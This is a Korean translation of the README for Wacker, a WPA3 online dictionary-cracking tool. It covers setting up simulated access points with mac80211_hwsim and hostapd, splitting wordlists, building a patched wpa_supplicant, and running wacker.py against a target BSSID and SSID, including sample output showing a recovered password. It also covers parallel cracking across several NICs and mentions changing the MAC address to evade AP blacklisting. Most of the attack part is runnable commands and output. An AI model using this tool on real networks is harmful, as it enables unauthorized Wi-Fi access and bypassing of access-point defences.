
WPA3 사전 크래커
WPA3 액세스 포인트에 대한 온라인 사전 공격을 수행하는 데 도움이 되는 스크립트 세트입니다. Wacker는 wpa_supplicant 제어 인터페이스를 활용하여 supplicant 데몬의 작동을 제어하고 상태 정보 및 이벤트 알림을 얻어 궁극적으로 무차별 대입 시도 중 연결 시도를 가속화합니다.
테스트용 WPA3 AP를 찾지 못한 경우, mac80211_hwsim을 사용한 로컬 환경(아래 세부 정보 참조) 또는 RF Hackers Sanctuary(scoreboard.rfhackers.com)에서 제공하는 VM을 사용하여 설정하는 것을 고려하세요.
자체 802.11 라디오 소프트웨어 시뮬레이터를 설정하려면 올바른 mac80211_hwsim 모듈을 구성하고 로드하기만 하면 됩니다.
# modprobe mac80211_hwsim radios=4
# iwconfig
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan1 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan2 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
wlan3 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:on
새 인터페이스 중 하나를 WPA3 액세스 포인트로 선택하고 다음 conf 파일을 사용하세요.
# cat hostapd.conf
interface=wlan0
ssid=WCTF_18
driver=nl80211
hw_mode=g
channel=1
logger_syslog=-1
logger_syslog_level=3
wpa=2
wpa_passphrase=Aeromechanics
wpa_key_mgmt=SAE
rsn_pairwise=CCMP
ieee80211w=2
group_mgmt_cipher=AES-128-CMAC
그리고 hostapd를 다음과 같이 시작하세요.
# hostapd -K -dd hostapd.conf
크래킹 작업을 여러 NIC에 분산하려는 경우 제공된 split.sh 스크립트가 단어 목록을 분할해 줍니다.
# ./split.sh 10 cyberpunk.words
50916 cyberpunk.words.aaa
50916 cyberpunk.words.aab
50916 cyberpunk.words.aac
50916 cyberpunk.words.aad
50916 cyberpunk.words.aae
50916 cyberpunk.words.aaf
50916 cyberpunk.words.aag
50916 cyberpunk.words.aah
50916 cyberpunk.words.aai
50907 cyberpunk.words.aaj
509151 total
특정 구성이 설정되고 소스 코드 자체에서 필요한 몇 가지 수정이 이루어지도록 보장하기 위해 자체 wpa_supplicant를 제공하고 있습니다.
# apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
# cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
# git apply wpa_supplicant.patch
# cd wpa_supplicant-2.10/wpa_supplicant
# make -j4
# ls -al wpa_supplicant
-rwxr-xr-x 1 root root 13541416 May 31 16:30 wpa_supplicant
python3.6+가 필요합니다.
Wacker는 이미 대상 선택이 완료된 airodump 또는 kismet에 대한 보완 도구로 간주되어야 합니다. Wacker는 인증 시도를 가속화하기 위해 wpa_supplicant의 백그라운드 스캔을 의도적으로 비활성화합니다.
wacker.py 스크립트는 모든 무거운 작업을 수행하도록 설계되었으며 대상에 대한 몇 가지 세부 정보가 필요합니다.
# ./wacker.py --help
usage: wacker.py [-h] --wordlist WORDLIST --interface INTERFACE --bssid BSSID
--ssid SSID --freq FREQ [--start START_WORD] [--debug]
A WPA3 dictionary cracker. Must run as root!
optional arguments:
-h, --help show this help message and exit
--wordlist WORDLIST wordlist to use
--interface INTERFACE
interface to use
--bssid BSSID bssid of the target
--ssid SSID the ssid of the WPA3 AP
--freq FREQ frequency of the ap
--start START_WORD word to start with in the wordlist
--debug increase logging output
운이 좋다면... 하나의 인스턴스만 사용하여 공격을 실행:
# ./wacker.py --wordlist cyberpunk.words --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
Start time: 21 Aug 2020 07:40:11
Starting wpa_supplicant...
5795 / 509151 words (1.14%) : 79.41 words/sec : 0.020 hours lapsed : 1.76 hours to exhaust (21 Aug 2020 09:25:49)
Found the password: 'Aeromechanics'
Stop time: 21 Aug 2020 07:41:24
여분의 NIC가 있다면 wacker의 여러 인스턴스를 쉽게 실행할 수 있습니다. 단어 목록을 분할하는 것을 잊지 마세요.
# ./wacker.py --wordlist cyberpunk.words.aaa --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan1 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aab --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan2 --freq 2412
# ./wacker.py --wordlist cyberpunk.words.aac --ssid WCTF_18 --bssid 02:00:00:00:00:00 --interface wlan3 --freq 2412
wacker는 매우 상세합니다. 관심 파일은 /tmp/wacker/ 아래에 있습니다.
wacker는 대상 WPA3 AP에 의해 설정된 ACL을 처리하지 않습니다. 즉, 현재 코드는 항상 동일한 MAC 주소를 사용합니다. 대상 AP가 우리 MAC 주소를 블랙리스트에 추가하면 스크립트는 실제 인증 실패와 블랙리스트에 등록된 MAC이 거부되는 것을 구분하지 못합니다. 이는 실제 비밀번호를 실패로 간주하게 된다는 것을 의미합니다. 해결 방법 중 하나는... macchanger를 소스에 추가하는 것이지만 속도가 느려집니다.
u631_3: WPA: AP group 0x10 network profile group 0x18; available group 0x10
u631_3: WPA: using GTK CCMP
u631_3: WPA: AP pairwise 0x10 network profile pairwise 0x18; available pairwise 0x10
u631_3: WPA: using PTK CCMP
u631_3: WPA: AP key_mgmt 0x400 network profile key_mgmt 0x400; available key_mgmt 0x400
u631_3: WPA: Failed to select authenticated key management type
u631_3: WPA: Failed to set WPA key management and encryption suites